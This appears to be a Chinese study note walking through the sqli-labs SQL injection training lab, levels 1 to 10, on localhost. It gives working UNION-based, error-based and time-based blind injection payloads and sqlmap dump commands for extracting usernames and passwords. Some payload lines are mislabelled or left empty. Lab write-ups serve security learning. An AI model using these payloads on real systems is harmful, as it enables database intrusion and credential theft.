sqli-labs学习笔记(Less1-Less10)

Less-1 GET - Error based - Single quotes - String

select … from … where id=’$id’

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0
sqli-labs学习笔记(Less1-Less10)
报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ order by 3–+
sqli-labs学习笔记(Less1-Less10)

sqli-labs学习笔记(Less1-Less10)

sqli-labs学习笔记(Less1-Less10)

sqli-labs学习笔记(Less1-Less10)

(0x3a:0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username)

sqli-labs学习笔记(Less1-Less10)

使用sqlmap跑:

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” --current-db

  • 跑出当前数据库

sqli-labs学习笔记(Less1-Less10)
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables

  • 爆出表名

sqli-labs学习笔记(Less1-Less10)
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns

  • 爆出列名

sqli-labs学习笔记(Less1-Less10)
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C id,password,username --dump

  • 爆出字段
    sqli-labs学习笔记(Less1-Less10)

Less-2 GET - Error based - Intiger based

当输入id=1‘值时,发现所输入的id值全部都带入进去了

sqli-labs学习笔记(Less1-Less10)

猜测出:select … from … where id=$id
所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(username,0x3a,password) from users–+

sqli-labs学习笔记(Less1-Less10)

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时,发现输出的报错会自动加上一个右括号
sqli-labs学习笔记(Less1-Less10)
猜测出:select … from … where id=(’$id’)
,所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

sqli-labs学习笔记(Less1-Less10)

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时,发现不报错,输入id=1”
sqli-labs学习笔记(Less1-Less10)
猜测出:select … from … where id=("$id")
一一
Payload:

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()–+

sqli-labs学习笔记(Less1-Less10)

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现
sqli-labs学习笔记(Less1-Less10)

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种,构造时间延迟盲注payload:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)–+

发现有明显延迟,说明其是时间延迟注入类型,构造**Payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5) order by 3–+

时间延迟型手工注入,正确会延迟,错误没有延迟。
本方法中payload = … ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+

sqli-labs学习笔记(Less1-Less10)
明显延迟,数据库名称长8位

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此**下一个字符,正确匹配时会延迟。最终**得到left(database(),8)=‘security’

其中 limit 3,1 中3代表第三个表
一个一个字母的**,最后

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=‘users’ ,sleep(5),1)–+

明显延迟,说明表名为users

sqli-labs学习笔记(Less1-Less10)
明显延迟,说明存在username列
同理,爆出password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 5,1),8)=‘password’ ,sleep(5),1)–+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于**到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
可以更改id值,将所有字段都爆出来

最好用sqlmap跑,可以直接爆库

Less-6 GET - Double Injection - Double Quotes - String

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

Less-7 GET - Dump into outfile - String

Payload:http://127.0.0.1/sqli-labs-master/Less-7/?id=1’))–+

sqli-labs学习笔记(Less1-Less10)正常回显,猜测其sql语句:select … from … where id=((’$id’))

sqli-labs学习笔记(Less1-Less10)

Less-8 GET - Blind - Boolian Based - Single Quotes

输入id=1时,回显,输入id=1’时不回显,当输入id=1’–+时,回显,所以,可以根据回显来判断,方法如less-5

sqli-labs学习笔记(Less1-Less10)

接下来爆出表名,列名,字段名,按照less-5方法即可

爆出security的表名payload:

按照id排序,改变limit 值,一一爆出所有字段

Less-9 Blind - Time based. - Single Quotes

由此题名可知,是时间延迟盲注型,输入id=1’and sleep(5)–+

sqli-labs学习笔记(Less1-Less10)

存在明显延迟,说明其sql语句是:select … from… where id=’$id’

Payload:

Less-10 GET - Blind - Time based - double quotes

只需把了less-9的id=1’改为id=1”即可,其它都与less-9都一样